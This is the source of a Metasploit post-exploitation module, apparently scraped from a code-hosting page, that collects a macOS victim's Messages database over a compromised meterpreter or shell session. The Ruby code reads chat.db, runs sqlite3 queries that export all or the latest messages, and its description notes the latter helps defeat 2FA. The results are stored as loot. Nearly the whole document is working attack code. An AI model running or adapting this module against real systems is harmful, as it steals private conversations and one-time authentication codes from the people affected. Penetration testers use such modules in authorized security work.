Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/osx/gather/enum_messages.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'OS X Gather Messages',14'Description' => %q{15This module will collect the Messages sqlite3 database files and chat logs16from the victim's machine. There are four actions you may choose: DBFILE,17READABLE, LATEST, and ALL. DBFILE and READABLE will retrieve all messages, and18LATEST will retrieve the last X number of messages (useful with 2FA). Module19was tested with OS X 10.11 (El Capitan).20},21'License' => MSF_LICENSE,22'Author' => ['Geckom <geckom[at]redteamr.com>'],23'Platform' => ['osx'],24'SessionTypes' => ['meterpreter', 'shell'],25'Actions' => [26['DBFILE', { 'Description' => 'Collect Messages DB file' }],27['READABLE', { 'Description' => 'Collect Messages DB and download in a readable format' }],28['LATEST', { 'Description' => 'Collect the latest message' }],29['ALL', { 'Description' => 'Collect all Messages data' }]30],31'DefaultAction' => 'ALL'32)33)3435register_options(36[37OptInt.new('MSGCOUNT', [false, 'Number of latest messages to retrieve.', 3]),38OptString.new('USER', [false, 'Username to retrieve messages from (defaults to current user)'])39]40)41end4243def run44user = datastore['USER'] || cmd_exec('/usr/bin/whoami')4546# Check file exists47messages_path = "/Users/#{user}/Library/Messages/chat.db"48if file_exist?(messages_path)49print_good("#{peer} - Messages DB found: #{messages_path}")50else51fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist")52end5354# Check messages. And then set the default profile path55unless messages_path56fail_with(Failure::Unknown, "#{peer} - Unable to find messages, will not continue")57end5859print_good("#{peer} - Found Messages file: #{messages_path}")6061files = []6263# Download file64files << get_db(messages_path) if action.name =~ /ALL|DBFILE/i65files << readable(messages_path) if action.name =~ /ALL|READABLE/i66files << latest(messages_path) if action.name =~ /ALL|LATEST/i6768save(files)69end7071#72# Collect messages db file.73#74def get_db(messages_path)75print_status("#{peer} - Looting #{messages_path} database")76message_data = read_file(messages_path)77{ filename: 'messages.db', mime: 'bin', data: message_data }78end7980#81# Generate a readable version of the messages DB82#83def readable(messages_path)84print_status("#{peer} - Generating readable format")85sql = [86'SELECT datetime(m.date + strftime("%s", "2001-01-01 00:00:00"), "unixepoch", "localtime") || " " ||',87'case when m.is_from_me = 1 then "SENT" else "RECV" end || " " ||',88'usr.id || ": " || m.text, a.filename',89'FROM chat as c',90'INNER JOIN chat_message_join AS cm ON cm.chat_id = c.ROWID',91'INNER JOIN message AS m ON m.ROWID = cm.message_id',92'LEFT JOIN message_attachment_join AS ma ON ma.message_id = m.ROWID',93'LEFT JOIN attachment as a ON a.ROWID = ma.attachment_id',94'INNER JOIN handle usr ON m.handle_id = usr.ROWID',95'ORDER BY m.date;'96]97sql = sql.join(' ')98readable_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")99{ filename: 'messages.txt', mime: 'text/plain', data: readable_data }100end101102#103# Generate a latest messages in readable format from the messages DB104#105def latest(messages_path)106print_status("#{peer} - Retrieving latest messages")107sql = [108'SELECT datetime(m.date + strftime("%s", "2001-01-01 00:00:00"), "unixepoch", "localtime") || " " ||',109'case when m.is_from_me = 1 then "SENT" else "RECV" end || " " ||',110'usr.id || ": " || m.text, a.filename',111'FROM chat as c',112'INNER JOIN chat_message_join AS cm ON cm.chat_id = c.ROWID',113'INNER JOIN message AS m ON m.ROWID = cm.message_id',114'LEFT JOIN message_attachment_join AS ma ON ma.message_id = m.ROWID',115'LEFT JOIN attachment as a ON a.ROWID = ma.attachment_id',116'INNER JOIN handle usr ON m.handle_id = usr.ROWID',117"ORDER BY m.date DESC LIMIT #{datastore['MSGCOUNT']};"118]119sql = sql.join(' ')120latest_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")121print_good("#{peer} - Latest messages: \n#{latest_data}")122{ filename: 'latest.txt', mime: 'text/plain', data: latest_data }123end124125#126# Do a store_root on all the data collected.127#128def save(data)129data.each do |e|130e[:filename] = e[:filename].gsub(/\\ /, '_')131p = store_loot(132e[:filename],133e[:mime],134session,135e[:data],136e[:filename]137)138139print_good("#{peer} - #{e[:filename]} stored as: #{p}")140end141end142end143144145